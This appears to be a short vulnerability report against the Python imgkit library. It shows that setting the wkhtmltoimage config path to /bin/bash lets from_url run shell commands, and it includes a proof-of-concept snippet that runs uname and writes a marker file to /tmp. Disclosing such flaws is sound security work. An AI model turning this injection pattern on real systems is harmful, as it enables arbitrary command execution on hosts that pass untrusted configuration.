can execute bash command with imgkit.from_url and config

[0xdc9]

The bug

wkhtmltoimage parameter can be used to spawn bash commands

Proof of Concept

import imgkit
config = imgkit.config(wkhtmltoimage="/bin/bash")
imgkit.from_url("-c", "'uname' && echo \'injected\' > /tmp/spawned.txt", config=config)

Screenshots

Environment

• OS: macOS Mojave 10.14.6
• IMGkit Version: imgkit-1.2.2
• wkhtmltopdf version: wkhtmltopdf 0.12.6
• wkhtmltoimage version: wkhtmltoimage 0.12.6